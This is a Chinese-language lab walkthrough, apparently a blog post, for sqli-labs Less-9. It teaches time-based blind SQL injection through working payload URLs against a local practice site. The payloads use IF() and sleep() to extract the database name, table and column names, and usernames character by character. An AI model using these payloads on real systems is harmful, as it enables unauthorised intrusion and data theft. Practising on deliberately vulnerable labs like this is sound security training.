sqli-labs (less-9)

sqli-labs (less-9)

补充知识

本关将介绍与Boolean盲注非常相似的另一种注入方法——时间盲注。他与Boolean盲注的不同之处在于,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是TRUE,则IF()的返回值为expr2;否则返回值则为expr3。
例:
if (length(database())>1,1,sleep(5)),这句语句的意思是查看当前数据库的长度是否大于1,大于1则查询1,小于1MySQL查询休眠5秒
if (substr(database()),1,1='s',1,sleep(5)),这句语句的意思是查看当前数据库的第一个字母是否为’s’,为’s’则查询1,不为’s’MySQL查询休眠5秒

less-9

为了更直观的能看到休眠的过程,这里我们直接使用burpsuite抓包



这里我们发现我们不论是输入1,1’,1",返回的结果都是 You are in…,这里闭合因为返回的都是You are in…,我们只能一个一个去试,常见包裹id的方法我在less-7说过,所以我们这里只能选择时间盲注

这里时间反应依然很快,我们排除数字型注入

这里我们可以看到右下角的反应时间为5秒,也说明了为字符型注入
因为时间盲注的方法跟Boolean盲注的方法大同小异,这里我们继续使用burpsuite进行暴力破解

判断当前数据库长度

http://127.0.0.1/sql1/Less-9/?id=1' and if(length(database())=4,1,sleep(5))--+


8的长度不一样,我们判断当前数据库的长度为8
查看当前数据库的第一个字母

http://127.0.0.1/sql1/Less-9/?id=1' and if(substr(database(),1,1)='a',1,sleep(5))--+


根据s的长度不同,判断当前数据库的第一个字母为s
改变substr和limit函数的索引值依次往后面猜解,这里不一一演示

查看security库下的第一张表的第一个字母

http://127.0.0.1/sql1/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='s',1,sleep(5))--+


根据e的长度不同,判断security库下的第一张表的第一个字母为e
改变substr和limit函数的索引值依次往后面猜解,这里不一一演示

查看users表下的第一个字段的第一个字母

http://127.0.0.1/sql1/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='s',1,sleep(5))--+


根据u的长度不同,判断users表下的第一个字段的第一个字母为u
改变substr和limit函数的索引值依次往后面猜解,这里不一一演示

查username字段的第一个值得第一个字母

http://127.0.0.1/sql1/Less-9/?id=1' and if(substr((select username from security.users limit 0,1),1,1)='s',1,sleep(5))--+


根据d的长度不同,判断username字段的第一个值的第一个字母为d
改变substr和limit函数的索引值依次往后面猜解,这里不一一演示

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

super 硕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值